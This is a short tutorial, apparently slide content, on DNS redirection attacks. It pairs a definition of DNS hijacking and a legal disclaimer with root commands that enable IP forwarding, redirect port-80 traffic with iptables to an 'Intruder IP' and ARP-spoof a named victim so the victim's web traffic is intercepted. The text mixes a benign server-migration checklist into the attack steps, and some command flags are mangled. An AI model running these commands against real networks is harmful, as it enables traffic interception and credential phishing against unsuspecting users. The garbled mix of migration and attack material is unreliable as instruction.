DNS Redirection Attack

DISCLAIMER

This document does not promote or encourage any Illegal activities, all content provided in this document is meant for education, research purposes. The document is not transformative in nature, it is used for teaching purpose.

Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, commenting, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use.

The document is created with the intention of educating others in a motivational/inspirational form. Do not try to use the scripts/code/methods if it is not legal in your country.

I Do not take any responsibility for anything you do using this document, Use at your own risk.

What is DNS Redirection

DNS REDIRECTION ATTACK

Domain Name Server (DNS) hijacking, also named DNS redirection, is a type of DNS attack in which DNS queries are incorrectly resolved in order to unexpectedly redirect users to malicious sites. To perform the attack, perpetrators either install malware on user computers, take over routers, or intercept or hack DNS communication.

DNS hijacking can be used for pharming (in this context, attackers typically display unwanted ads to generate revenue) or for phishing (displaying fake versions of sites users access and stealing data or credentials).

Many Internet Service Providers (ISPs) also use a type of DNS hijacking, to take over a user's DNS requests, collect statistics and return ads when users access an unknown domain. Some governments use DNS hijacking for censorship, redirecting users to government-authorized sites.

DNS REDIRECTION LIST

1) Sync the files and databases with the new server.
2) Perform a re-sync just before cut-off.
3) Change the DNS to point to the new server.
4) Forward the request coming to the old ip to the new server until DNS propagation completes.

HERE‘S HOW I WOULD DO THE STEP

We will configure IPTables on a Linux server to redirect all the traffic coming on port 80, (which is the default web server port), to a server with the **IP 10.97.31.100 (Intruder IP)**. The first step is to set your Linux box to allow this kind of forwarding to take place. Open a terminal window, log in as root user and run the following command:

 # echo 1 >/proc/sys/net/ipv4/ip_forward
The next step is to tell IPTables to redirect the traffic to the new server:

 # iptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to-destination 10.97.31.100
Here’s where the IPTables magic happens. With the third and final step we tell IPTables to rewrite the origin of connections to the new server’s port 80 to appear to come from the old server.

 # iptables -t nat -A POSTROUTING -p tcp -d 10.97.31.100 - -dport 80 -j MASQUERADE
The final step is required because if we don’t tell the web server of the new server that the connections are coming from the client machines, it would think that they are originating from the old server.

 # arpspoof -i eth0 -t 10.97.31.10 10.97.31.254

HERE'S HOW I WOULD DO THE STEP (CONT'D)

Now when the Victim that is being targeted in arpspoof attack opened the Web sites which are related to port 80 will be redirected to our Dynamic Network Address .
You may want to repeat this for the databases and email server port as well.

THANK YOU